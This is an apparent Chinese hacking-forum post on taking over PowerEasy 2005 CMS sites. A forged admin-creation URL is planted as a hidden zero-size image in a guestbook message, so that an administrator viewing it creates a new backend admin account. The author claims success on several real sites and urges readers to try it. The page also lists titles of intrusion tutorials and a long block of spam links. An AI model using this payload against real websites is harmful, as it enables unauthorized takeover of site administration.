动易2005里面,留言的时候存在一个XSS。
攻击方法如下 :
首先在网站注册一个普通会员,然后去GUESTBOOK留言,在插入图片的时候地址写上(建议在原代码里面把图片的高度与宽度都设置成0,这样在图片前面加上这个连接,基本上就看不见图片了,图片的连接却被管理员解吸执行了):
http://localhost/PowerEasy/admin/admin_admin.asp?AdminName=xiaod&username=xiaod&password=123456&pwdconfirm=123456&purview=1&Action=SaveAdd
上面是本地测试地址。
只要你的留言写的足够诱惑,只要管理员一看,就OK了,他回复了你,你就是后台管理员了···
我自己测试了几个站,结果都成功了,呵呵。大家也可以去测试一下,通杀了 SQL 与AC版···
最近发表
- 最新科讯科技0day入侵实例(图) _入侵防御_网络安全_
- log备份的入侵技巧总结 _入侵防御_网络安全_
- 入侵骗子站xuehk.com全过程(图) _入侵防御_网络安全_
- 教你用口令入侵的方法 _入侵防御_网络安全_
- 从注册表切断一切黑客入侵的路径 _入侵防御_网络安全_
- Php网站的脚本注入漏洞实例检测(图) _入侵防御_网络安全_
- 突破IE安全限制获取iframe子框架内的本地cookie _入侵防御_网络安全_
- Cross Iframe Trick:the Old New Thing(图) _入侵防御_网络安全_
- 对纵横时空文学站的一次安全检测 _入侵防御_网络安全_
- 入侵chinalinux站点技术指导 _入侵防御_网络安全_
- 入侵Linux操作系统实例 _入侵防御_网络安全_
- 局域网入侵完整版 _入侵防御_网络安全_
- 利用别人的程序再次入侵 _入侵防御_网络安全_
- 入侵过程中的简单任务 _入侵防御_网络安全_
- 教你入侵基于java Struts的JSP网站 _入侵防御_网络安全_
- 入侵金奔腾公司网站实例(图) _入侵防御_网络安全_
- 实例解析80、512、3389等端口的入侵 _入侵防御_网络安全_
- 不用ARP欺骗而进行的嗅探技术(图) _入侵防御_网络安全_
- 如何用挖掘鸡入侵传奇SF(图) _入侵防御_网络安全_
- 友情检测某市公安局网站 _入侵防御_网络安全_
- Telnet密码破解软件Letmein1.0说明 _工具使用_网络安全_
- reDuh 简单使用说明_工具使用_网络安全_
- 让自解压文件在右键中不显示的实现方法_工具使用_网络安全_
- rar.exe 在提权中的妙用_工具使用_网络安全_
- MT.EXE 中文使用教程_工具使用_网络安全_
- 使用CA和CCA克隆账户与检查账号是否被克隆工具的方法_工具使用_网络安全_
- 在线破解各类加密密码地址( 干掉收费cmd5)_工具使用_网络安全_
- 关于杀毒软件安装使用的几个误区 杀毒软件也要慎用_工具使用_网络安全_
- nmap常用命令及参数说明 _工具使用_网络安全_
- 在VPS上搭建远程桌面蜜罐的方法介绍_工具使用_网络安全_
友情链接
-
采集程序
网站源码出售
老域名出售页面
下载
游戏
网站导航
文章
源码下载
软件下载
游戏下载
资料
资源分享
六神
六神
海飞丝
海飞丝
噬元兽
噬元兽
bieha.cn
www.bieha.cn
缪缇(Miuti)内衣
缪缇(Miuti)内衣
dk028.com
www.dk028.com
四川福利
四川福利
bzbl.cn
www.bzbl.cn
mlft.cn
www.mlft.cn
7zz压缩
7zz压缩
91大神
91大神
刘亦菲
刘亦菲
sewai.cn
www.sewai.cn
58同城
58同城
鸭苗
鸭苗
caclrc.cn
rgbbs.cn
heiapp.net
zhfjx.cn
sshfy.cn
sxdgc.cn
28city.cn
www.caclrc.cn
www.rgbbs.cn
www.heiapp.net
www.zhfjx.cn
www.sshfy.cn
www.28city.cn
etc吧
etc吧
abdayah.cn
www.abdayah.cn
ddbdzs.cn
www.ddbdzs.cn
安思尔HyFlex
安思尔HyFlex
studyart.cn
www.studyart.cn
dndf.cn
www.dndf.cn
www.sxdgc.cn
11855.cn
www.11855.cn
11566.cn
www.11566.cn
11355.cn
www.11355.cn
62622.cn
www.62622.cn
cbwq.cn
www.cbwq.cn
www.zrqm.cn
zrqm.cn
rlfm.cn
www.rlfm.cn
www.pbtb.cn
pbtb.cn
knlz.cn
www.knlz.cn
rhwf.cn
www.rhwf.cn
dxfp.cn
www.dxfp.cn
rptb.cn
www.rptb.cn
nzjg.cn
www.nzjg.cn
ygnl.cn
www.ygnl.cn
人心不古
人心不古
rfbc.cn
www.rfbc.cn
rwbs.cn
www.rwbs.cn
img.liuyifei.net
drnu.cn
www.drnu.cn
bwsu.cn
www.bwsu.cn
wyim.cn
www.wyim.cn
dtud.cn
www.dtud.cn
远东运输集团
远东运输集团
中宠兽医联盟
中宠兽医联盟
拉贝洛尔
拉贝洛尔
飞行悍马
飞行悍马
uesese.cn
www.uesese.cn
爱坤
爱坤
02613.cn
www.02613.cn
lymzi.cn
www.lymzi.cn
KTOA
KTOA
73216.cn
www.73216.cn
www.crtwd.cn
crtwd.cn
深圳麦迪逊
深圳麦迪逊
kylkc.cn
www.kylkc.cn
dztmd.cn
www.dztmd.cn
pmhlw.cn
www.pmhlw.cn
gfxtk.cn
www.gfxtk.cn
桃子坪村
桃子坪村
京泊汽模
京泊汽模
sh3.cn
www.sh3.cn
7sh.cn
www.7sh.cn
民生人寿
民生人寿
安华农业保险
安华农业保险
华夏基违规操作举报电话
华夏基违规操作举报电话
金融消费权益保护投诉咨询电话
金融消费权益保护投诉咨询电话
钵钵鸡
钵钵鸡
r515.cn
www.r515.cn
g2050.cn
www.g2050.cn
bbc888.com
www.bbc888.com
博客